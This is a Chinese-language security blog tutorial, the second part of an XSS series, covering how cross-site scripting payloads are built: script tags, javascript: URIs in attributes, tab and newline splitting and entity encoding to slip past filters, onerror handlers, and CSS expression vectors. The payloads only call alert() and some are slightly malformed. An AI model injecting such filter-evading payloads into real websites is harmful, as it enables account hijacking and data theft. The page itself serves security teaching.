渗透测试之XSS(2)

二叶草 2020年3月25日19:19:10渗透评论阅读模式

 前言

上一篇讲了XSS漏洞的原理分类及危害等基础内容,今天来剖析下如何构造代码进行攻击。

一. 利用<>标记注射HTML/JavaScript

因为目标网站对用户输入的不过滤,导致用户可以直接引用<>等标记创建新的HTML标签。任意输入JavaScript或VbScript编写的恶意代码。

例:<script>alert("test")</script>

二.利用HTML标签属性值执行XSS

有时目标网站会禁止用户创建新的HTML标记,但是用户可以利用已有的HTML标记,添加或修改属性进行xss注入。如下:

  <table backgroup="javascript:alert(/XSS/)"></table>  <img src="javascript:alert("XSS"); ">

注:因为不是所有的浏览器都会识别JavaScript所以这个方法有一定局限性,也不是所有属性都支持XSS注入。

一些支持xss注入的属性:

href=lowsrc=bgsound=background=value=action=dynsrc=<a href="javascript:alert("XSS") "> XSS </a><bgsound src="javascript:alert("XSS"); ">

三.空格回车TAB

一些稍大的网站会使用XSS Filter进行防御,但是有时仅会转义敏感字符或把敏感字符加入黑名单中,这类型的网站攻击者可以通过使用空格、回车或TAB键绕过。

<img src="javas  cript:alert(/XSS/)" width=100>

注:javas和script之间的间隔不是空格键,而是用TAB键添加的。

使用关键字拆分的技巧,用户就能突破过滤器的限制,当然这种技巧不局限在TAB键,还可以使用回车键、空格之类的其他键。

JavaScript语句通常以分号结尾,如果JavaScript引擎确定一个语句是完整的,而这一行的结尾有换行符,那么就可以省略分号:

var a=true

var b="andrew"

如果同一行中有多个语句,那么每个语句就必须使用分号来结束:

var a=true;var b="andrew";

除了在引号中分隔单词或强制结束语句之外,额外的空白无论以何种方式添加都无所谓。

var a="hello world";

alert(a);

浏览器不会吧换行符等视为结束。所以JavaScript会继续处理发现的内容,直到遇到一个分号或发现语句完整为止。

攻击者可以构造下面的代码形式绕过系统对JavaScript等关键字的过滤:

<img src="javas    cript:    alert(/XSS/) width=100">

使用以回车符分割关键字(拆分关键字)的技巧,成功执行了跨站脚本代码。

四.对标签属性值转码

ASCII,即美国信息交互标准代码,是目前计算机最常用的编码标准。因为计算机只能接受数字信息,ASCII码将字符作为数字来表述,以便计算机能够接受和处理。

可以把XSS转换成ASCII代码:

<img src="javascript:alert(/xss/);">

替换为:

<img src="javascrip&#116&#58alert(/xss/);">

五.产生自己的事件

JavaScript与HTML之间的交互是通过事件来实现的,事件就是用户或浏览器自身执行的某个动作,比如click、mouseover、load等,而响应事件的函数也就叫做事件处理函数。

我们把事件分为3个不同的类别:

1)用户接口(鼠标、键盘)

2)逻辑(处理的结果)

3)变化(对文档进行修改)

事件可以出发对JavaScript代码的执行,如

<img src="#" οnerrοr=alert(/XSS/)>

事件类型有:

onresume

onreverse

onrowdelete

onrowinserted

onseek

onsynchrestored

六.利用CSS跨站

使用CSS样式表执行JavaScript具有隐蔽、灵活多变等特点,缺点为各浏览器之间不能通用,甚至可能同一浏览器不同版本之间都不能通用。

使用CSS直接执行JavaScript代码的示例如下:

  <div style="background-image:url(javascript:alert('xss'))">  <style> body{background-image:url("javascript:alert('xss')");} </style>

IE5及以后版本支持在CSS中使用expression,使用expression同样可以触发XSS漏洞。

 <div style="width:expression(alert('xss'));"> <img src="#" style="xss:expression(alert(/xss/));"> <style> body{background-image:expression(alert("xss"));}  </style>

本文来源于:渗透测试之XSS(2)-变化吧门户
特别声明:以上文章内容仅代表作者本人观点,不代表变化吧门户观点或立场。如有关于作品内容、版权或其它问题请于作品发表后的30日内与变化吧联系。

  • 赞助本站
  • 微信扫一扫
  • weinxin
  • 加入Q群
  • QQ扫一扫
  • weinxin
二叶草
渗透测试实用工具 渗透

渗透测试实用工具

 工具概述 1、新增批量修改文件夹文件后缀功能,并重新排列工具,更加详细使用 2、新增文件夹监控功能,监控python tool.py -monitor C: 3、新增将包含rgb值的txt...
简谈渗透测试各阶段我常用的那些“神器” 渗透

简谈渗透测试各阶段我常用的那些“神器”

 前言 本人所有文章都很用心的写作完成,并时常总结如何分享更有用的东西给朋友们。这篇更是如此,晚上准备到凌晨四点开始写作,为了需要的朋友而写,不喜欢的右上角点叉不要像上次文章一样在下面喷粪逼我骂你,另...
内网渗透工具- Intranet-Penetration 渗透

内网渗透工具- Intranet-Penetration

 整理一些常用的内外网渗透测试工具 PHPoxy 通过PHP脚本运行一个可以访问内网机器的Web代理。 SocksCap  socks5代理客户端 XX-Net    科学上网利器 phpsocks5...

发表评论